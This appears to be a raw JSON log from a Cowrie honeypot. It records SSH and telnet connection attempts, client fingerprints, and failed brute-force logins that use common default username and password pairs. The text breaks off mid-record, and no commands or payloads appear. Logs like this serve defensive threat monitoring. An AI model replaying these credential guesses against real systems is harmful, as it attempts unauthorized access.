{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:48.265068Z","src_ip":"141.11.88.14","session":"1437fb10bd4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:48.270729Z","src_ip":"141.11.88.14","session":"1437fb10bd4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:49.206920Z","src_ip":"141.11.88.14","session":"1437fb10bd4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:50.443695Z","src_ip":"141.11.88.14","session":"1437fb10bd4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":28089,"dst_ip":"10.17.0.5","dst_port":22,"session":"99e764e0aabb","protocol":"ssh","message":"New connection: 36.92.41.115:28089 (10.17.0.5:22) [session: 99e764e0aabb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:51.250467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:51.256320Z","src_ip":"36.92.41.115","session":"99e764e0aabb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:51.514793Z","src_ip":"36.92.41.115","session":"99e764e0aabb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Pa$$w0rd","message":"login attempt [admin/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:52.581942Z","src_ip":"36.92.41.115","session":"99e764e0aabb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:53.843454Z","src_ip":"36.92.41.115","session":"99e764e0aabb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46432,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbb09f174a88","protocol":"ssh","message":"New connection: 141.11.88.14:46432 (10.17.0.5:22) [session: cbb09f174a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:54.987014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:55.023510Z","src_ip":"141.11.88.14","session":"cbb09f174a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:55.121386Z","src_ip":"141.11.88.14","session":"cbb09f174a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:56.039193Z","src_ip":"141.11.88.14","session":"cbb09f174a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:57.145307Z","src_ip":"141.11.88.14","session":"cbb09f174a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":47532,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c7b9e28a014","protocol":"telnet","message":"New connection: 94.23.66.112:47532 (10.17.0.5:23) [session: 6c7b9e28a014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:00:59.153469Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":49534,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a158cda2ec8","protocol":"ssh","message":"New connection: 141.11.88.14:49534 (10.17.0.5:22) [session: 9a158cda2ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:01.453190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:01.480824Z","src_ip":"141.11.88.14","session":"9a158cda2ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:01.657355Z","src_ip":"141.11.88.14","session":"9a158cda2ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:02.488609Z","src_ip":"141.11.88.14","session":"9a158cda2ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00223708152771,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:02.564976Z","src_ip":"128.199.8.54","session":"6d50cd4e3b23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:03.965765Z","src_ip":"141.11.88.14","session":"9a158cda2ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63868,"dst_ip":"10.17.0.5","dst_port":22,"session":"1cfd1ed008b8","protocol":"ssh","message":"New connection: 141.11.88.14:63868 (10.17.0.5:22) [session: 1cfd1ed008b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:07.777236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:07.912799Z","src_ip":"141.11.88.14","session":"1cfd1ed008b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:07.916339Z","src_ip":"141.11.88.14","session":"1cfd1ed008b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:09.026047Z","src_ip":"141.11.88.14","session":"1cfd1ed008b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":55078,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b279561f6d9","protocol":"ssh","message":"New connection: 197.5.145.150:55078 (10.17.0.5:22) [session: 1b279561f6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:10.036525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:10.041036Z","src_ip":"197.5.145.150","session":"1b279561f6d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:10.151928Z","src_ip":"197.5.145.150","session":"1b279561f6d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:10.186402Z","src_ip":"141.11.88.14","session":"1cfd1ed008b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"abc123","message":"login attempt [es/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:10.621603Z","src_ip":"197.5.145.150","session":"1b279561f6d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:11.732615Z","src_ip":"197.5.145.150","session":"1b279561f6d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":51506,"dst_ip":"10.17.0.5","dst_port":22,"session":"c33cd7856828","protocol":"ssh","message":"New connection: 87.106.47.28:51506 (10.17.0.5:22) [session: c33cd7856828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:12.430223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:12.434905Z","src_ip":"87.106.47.28","session":"c33cd7856828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:12.526807Z","src_ip":"87.106.47.28","session":"c33cd7856828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wang12345","message":"login attempt [root/wang12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:12.929414Z","src_ip":"87.106.47.28","session":"c33cd7856828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:14.024910Z","src_ip":"87.106.47.28","session":"c33cd7856828","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63920,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3e252667a12","protocol":"ssh","message":"New connection: 141.11.88.14:63920 (10.17.0.5:22) [session: a3e252667a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:15.358480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:15.565116Z","src_ip":"141.11.88.14","session":"a3e252667a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:15.570750Z","src_ip":"141.11.88.14","session":"a3e252667a12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin123","message":"login attempt [ubuntu/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:16.379241Z","src_ip":"141.11.88.14","session":"a3e252667a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:17.671801Z","src_ip":"141.11.88.14","session":"a3e252667a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37944,"dst_ip":"10.17.0.5","dst_port":22,"session":"11fb5aee0cc8","protocol":"ssh","message":"New connection: 141.11.88.14:37944 (10.17.0.5:22) [session: 11fb5aee0cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:21.151671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:01:21.329378Z","src_ip":"141.11.88.14","session":"11fb5aee0cc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-s